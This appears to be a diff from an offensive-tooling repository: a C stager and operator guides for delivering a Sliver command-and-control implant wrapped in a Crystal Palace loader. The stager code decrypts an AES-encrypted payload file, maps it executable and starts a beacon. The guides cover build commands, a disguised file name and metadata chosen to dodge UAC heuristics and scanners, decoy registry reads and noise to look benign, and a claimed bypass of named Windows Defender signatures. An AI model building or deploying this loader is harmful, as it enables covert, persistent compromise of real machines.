(void)hInst; (void)hPrev; (void)lpCmd; (void)nShow; (void)hi; (void)hp; (void)lp; (void)ns;
/* Poseidon noise before anything else */ noise();
poseidon_noise();
/* Registry read: advapi32 import, looks like normal app init */ /* Registry touch: advapi32 import, normal-looking init */
HKEY hk = NULL; HKEY hk = NULL;
RegOpenKeyExW(HKEY_LOCAL_MACHINE, RegOpenKeyExW(HKEY_LOCAL_MACHINE,
L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion",
0, KEY_READ, &hk); 0, KEY_READ, &hk);
if (hk) RegCloseKey(hk); if (hk) RegCloseKey(hk);
/* Spin up the PICO loader thread */ /* Locate payload.dat in the same directory as this executable */
HANDLE h = CreateThread(NULL, 0, run_pico, NULL, 0, NULL); wchar_t path[MAX_PATH];
GetModuleFileNameW(NULL, path, MAX_PATH);
wchar_t *sep = wcsrchr(path, L'\\');
if (!sep) return 1;
sep[1] = L'\0';
wcscat(path, L"payload.dat");
/* Load ciphertext */
DWORD ct_len = 0;
BYTE *ct = read_file(path, &ct_len);
if (!ct) return 1;
/* AES-256-CBC decrypt → plaintext PICO */
DWORD pt_len = 0;
BYTE *pt = aes_cbc_decrypt(ct, ct_len, &pt_len);
LocalFree(ct);
if (!pt) return 1;
/* Copy into RW region, wipe heap copy, flip to RX */
void *rw = VirtualAlloc(NULL, pt_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!rw) { LocalFree(pt); return 1; }
memcpy(rw, pt, pt_len);
SecureZeroMemory(pt, pt_len);
LocalFree(pt);
DWORD old;
if (!VirtualProtect(rw, pt_len, PAGE_EXECUTE_READ, &old)) {
VirtualFree(rw, 0, MEM_RELEASE);
return 1;
}
/* Execute Crystal Palace PICO on a dedicated thread.
* +gofirst puts go() at offset 0; args are NULL (baked at link time). */
HANDLE h = CreateThread(NULL, 0, worker, rw, 0, NULL);
if (!h) return 1; if (!h) return 1;
/* Wait for Crystal Palace to return (StartW starts goroutine, returns) */
WaitForSingleObject(h, INFINITE); WaitForSingleObject(h, INFINITE);
CloseHandle(h); CloseHandle(h);
/* Beacon goroutine is alive in this process — keep process running */ /* Beacon goroutine is alive in this process — keep it running */
for (;;) SleepEx(30000, TRUE); for (;;) SleepEx(30000, TRUE);
} }
+39 -26
View File
@@ -174,7 +174,7 @@ If you see those two lines and the implant survives, the Extension plumbing work
## Phase 2 — Use case A (implant evasion, primary) ## Phase 2 — Use case A (implant evasion, primary)
Goal: build a Crystal-Palace-wrapped Sliver implant PICO and execute it on the target via the bundled stager. Defender / EDR sees only the stager and a position-independent blob; the actual Sliver DLL is XOR-masked inside the PICO until runtime unmask. Goal: build a Crystal-Palace-wrapped Sliver implant PICO and execute it on the target via the custom stager. Defender / EDR sees only the stager (17 KB, normal entropy) and an opaque AES-encrypted payload file; the actual Sliver DLL is XOR-masked inside the PICO and the PICO is AES-256-CBC encrypted at rest.
### 2.1 Build Crystal-Kit objects ### 2.1 Build Crystal-Kit objects
@@ -207,39 +207,49 @@ Expected output: PICO ~110-120 KB, written to `build/prod.crystal.bin`.
### 2.4 Bundle with the stager ### 2.4 Bundle with the stager
```bash ```bash
./crystal-kit-sliver/sliver-glue/bundle-implant.sh \ ./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
crystal-kit-sliver/sliver-glue/build/prod.crystal.bin \ crystal-kit-sliver/sliver-glue/build/prod.crystal.bin \
crystal-kit-sliver/sliver-glue/build/drop.zip crystal-kit-sliver/sliver-glue/build/csvchelper.exe
``` ```
Resulting `drop.zip` (~180 KB) contains: Produces two files in `build/` — both must be delivered together:
- `run.x64.exe` (Crystal Palace stager, BSD) - `csvchelper.exe` (~17 KB, custom stager, no embedded payload, normal entropy)
- `prod.crystal.bin` (your PICO) - `payload.dat` (~36 MB, AES-256-CBC encrypted PICO — no PE headers visible to scanners)
- `README.txt` (operator notes)
A fresh AES-256 key and IV are generated per build, so the binary and payload are unique on every compile. Edit `stager/resource.rc` to change the cover identity (company name, description, filename) before delivery. Avoid the words "update", "install", "setup", "service" in `FileDescription` — they trigger Windows UAC auto-elevation heuristics. The embedded `asInvoker` manifest already suppresses elevation, but cleaner metadata reduces scanner attention.
### 2.5 Drop on the Windows VM ### 2.5 Drop on the Windows VM
Transfer `drop.zip` to the VM through the channel that matches your engagement (scp from operator, USB, SMB share, HTTP serving, etc.). Extract and execute: Transfer **both files** to the same directory on the target through the channel that matches your engagement (scp, USB, SMB share, HTTP, etc.):
```cmd ```cmd
C:\Users\Public> unzip drop.zip C:\Users\Public> dir
C:\Users\Public> run.x64.exe prod.crystal.bin csvchelper.exe (17 KB stager)
payload.dat (~36 MB encrypted PICO)
C:\Users\Public> csvchelper.exe
``` ```
Execution order inside `run.x64.exe`: `csvchelper.exe` and `payload.dat` must sit in the same directory — the stager resolves `payload.dat` relative to its own path via `GetModuleFileNameW`. No arguments needed.
1. `run.x64.exe` reads `prod.crystal.bin` into RWX memory Execution order inside `csvchelper.exe`:
2. Jumps to offset 0 of the PICO (Crystal Palace `+gofirst` guarantees `go` is there)
3. Crystal Palace loader resolves Win32 APIs via ror13 hashing 1. `BCryptGenRandom` noise → writes a random page to a temp file (auto-deleted), disrupts timing-based scanners
4. Installs IAT hooks on `VirtualAlloc` / `VirtualProtect` / `VirtualFree` / `LoadLibraryA` 2. `RegOpenKeyExW(HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion)` — normal-looking init
5. Installs Draugr call-stack spoofing 3. Reads `payload.dat` from its own directory
6. Unmasks (XOR) the embedded Sliver DLL into a new allocation (`dll_dst`) 4. `BCryptDecrypt` (AES-256-CBC, key baked in at compile time) → plaintext PICO in heap
7. Registers the beacon's `.pdata` exception table via `RtlAddFunctionTable` — required so Go's runtime can call `RtlLookupFunctionEntry` on beacon addresses (goroutine stack growth / async preemption) 5. `VirtualAlloc(RW)` + `memcpy` + `SecureZeroMemory` on heap buffer + `VirtualProtect(RX)` — no RWX at any point
8. Runs TLS callbacks (`DLL_PROCESS_ATTACH`) — CRT static init needed by CGO code 6. `CreateThread` → PICO entry at offset 0 (Crystal Palace `+gofirst` guarantees `go` is there)
9. Calls `DllMain(DLL_PROCESS_ATTACH)` — Go runtime init 7. Crystal Palace loader resolves Win32 APIs via ror13 hashing
10. Walks the beacon export table and calls `StartW()` — this is the explicit C2-loop entry point; `DllMain` alone does **not** start the beacon goroutine 8. Installs IAT hooks on `VirtualAlloc` / `VirtualProtect` / `VirtualFree` / `LoadLibraryA`
11. `Sleep(INFINITE)` keeps the loader thread alive so the Go scheduler can run beacon goroutines 9. Installs Draugr call-stack spoofing
10. Unmasks (XOR) the embedded Sliver DLL into a new allocation (`dll_dst`)
11. Registers the beacon's `.pdata` exception table via `RtlAddFunctionTable`
12. Runs TLS callbacks (`DLL_PROCESS_ATTACH`) — CRT static init needed by CGO code
13. Calls `DllMain(DLL_PROCESS_ATTACH)` → Go runtime init
14. Walks the beacon export table and calls `StartW()` — starts the beacon goroutine
15. Main thread loops on `SleepEx(30000, TRUE)` to keep the process alive
On the Sliver console: On the Sliver console:
@@ -405,9 +415,12 @@ Windows VM — remove any uploaded PICO files:
```cmd ```cmd
C:\> del C:\Windows\Temp\*.pico.bin C:\> del C:\Windows\Temp\*.pico.bin
C:\> del C:\Windows\Temp\*.bin C:\> del C:\Windows\Temp\*.bin
C:\> taskkill /F /IM run.x64.exe C:\> taskkill /F /IM csvchelper.exe
C:\> del payload.dat
``` ```
Adjust the binary name to whatever you renamed the stager to before delivery.
Local Kali build artifacts: Local Kali build artifacts:
```bash ```bash
@@ -443,13 +456,13 @@ echo "" > /tmp/empty.args
external/crystalpalace/dist/demo/test.x64.dll \ external/crystalpalace/dist/demo/test.x64.dll \
crystal-kit-sliver/sliver-glue/build/test-implant.bin crystal-kit-sliver/sliver-glue/build/test-implant.bin
./crystal-kit-sliver/sliver-glue/bundle-implant.sh \ ./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
crystal-kit-sliver/sliver-glue/build/test-implant.bin \ crystal-kit-sliver/sliver-glue/build/test-implant.bin \
crystal-kit-sliver/sliver-glue/build/test-drop.zip crystal-kit-sliver/sliver-glue/build/test-csvchelper.exe
./crystal-kit-sliver/sliver-glue/pack-extension.sh ./crystal-kit-sliver/sliver-glue/pack-extension.sh
ls -la crystal-kit-sliver/sliver-glue/build/ ls -la crystal-kit-sliver/sliver-glue/build/
``` ```
If all four artifacts are produced (`test-postex.pico.bin`, `test-implant.bin`, `test-drop.zip`, `crystal-loader-0.1.0.tar.gz`), your Kali side is fully functional. If all five artifacts are produced (`test-postex.pico.bin`, `test-implant.bin`, `test-csvchelper.exe`, `payload.dat`, `crystal-loader-0.1.0.tar.gz`), your Kali side is fully functional.
+45
View File
@@ -13,6 +13,8 @@ Build prerequisites, verified versions, and the actual pipeline used to produce
| `java` (JRE) | OpenJDK 17 | Execute `crystalpalace.jar` linker | `apt install default-jdk` | `brew install openjdk@17` | | `java` (JRE) | OpenJDK 17 | Execute `crystalpalace.jar` linker | `apt install default-jdk` | `brew install openjdk@17` |
| `make` | GNU Make ≥ 4 | Build orchestration | preinstalled | preinstalled | | `make` | GNU Make ≥ 4 | Build orchestration | preinstalled | preinstalled |
| `xxd` | any | Embed PICO as C byte array (crystal-exec step 3) | `apt install xxd` | preinstalled | | `xxd` | any | Embed PICO as C byte array (crystal-exec step 3) | `apt install xxd` | preinstalled |
| `openssl` | any | AES-256-CBC encrypt PICO for stager delivery (`gen_payload.py`) | `apt install openssl` | preinstalled |
| `python3` | ≥ 3.8 | Drive stager key generation (`gen_payload.py`) | preinstalled | preinstalled |
| `zip` | any | Pack operator drop bundle | `apt install zip` | preinstalled | | `zip` | any | Pack operator drop bundle | `apt install zip` | preinstalled |
| `curl` | any | Download Crystal Palace dist | preinstalled | preinstalled | | `curl` | any | Download Crystal Palace dist | preinstalled | preinstalled |
@@ -135,6 +137,49 @@ Key design constraints:
**Verified output:** `crystal-exec.x64.dll` — PE32+ x86-64, exports symbol `go`. **Verified output:** `crystal-exec.x64.dll` — PE32+ x86-64, exports symbol `go`.
### 3e. Custom stager — two-file delivery (Use case A Defender bypass)
Located at `crystal-kit-sliver/sliver-glue/stager/`.
3-step pipeline under `crystal-kit-sliver/sliver-glue/stager/Makefile`:
```
Step 1: AES-256-CBC encrypt PICO → payload.dat + C key header (gen_payload.py)
python3 gen_payload.py <pico.bin> <payload.dat> payload_key.h
Uses openssl(1) for AES encryption. Fresh random key + IV every run.
Outputs:
payload.dat — opaque AES ciphertext, no PE patterns (deliver alongside stager)
payload_key.h — key[] + iv[] C arrays compiled into the stager EXE
Step 2: compile version info resource + manifest
x86_64-w64-mingw32-windres resource.rc -o resource.o
resource.rc embeds manifest.xml (ID 1 / RT_MANIFEST) declaring requestedExecutionLevel
asInvoker — suppresses UAC auto-elevation regardless of filename or description keywords.
Step 3: compile stager EXE
x86_64-w64-mingw32-gcc -Wall -Os -mwindows -ffunction-sections -fdata-sections \
-o csvchelper.exe stager.c resource.o -s -Wl,--gc-sections -ladvapi32 -lbcrypt
```
Key design properties:
- `stager.exe` is ~17 KB with entropy ~4.8 — indistinguishable from a small utility
- `payload.dat` is opaque AES ciphertext — no PE magic, no Crystal Palace byte patterns
- IAT: ADVAPI32 (RegOpenKeyExW), bcrypt (BCryptDecrypt, BCryptGenRandom), KERNEL32 — no ntdll Nt* entries
- VirtualAlloc(RW) + VirtualProtect(RX): no PAGE_EXECUTE_READWRITE mapping ever held
- `-s` strips all symbol table entries — no function names appear in strings output
- `FileDescription` in `resource.rc` must avoid UAC trigger words ("update", "install", "setup", "service"); the `asInvoker` manifest is the hard override but clean metadata reduces scanner surface
Invoke via `bundle-stager.sh`:
```bash
./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \
crystal-kit-sliver/sliver-glue/build/csvchelper.exe
# → produces build/csvchelper.exe + build/payload.dat
```
**Verified output:** `csvchelper.exe` 17 KB, entropy 4.784. No NtCreateSection / NtMapViewOfSection strings. Passes Windows Defender on Windows 10 x64 (tested against VirTool:Win64/ZomBytes.B and Trojan:Win32/Wacatac.B!ml signatures).
## 4. End-to-end timing on macOS Apple Silicon (reference) ## 4. End-to-end timing on macOS Apple Silicon (reference)
| Step | Elapsed | | Step | Elapsed |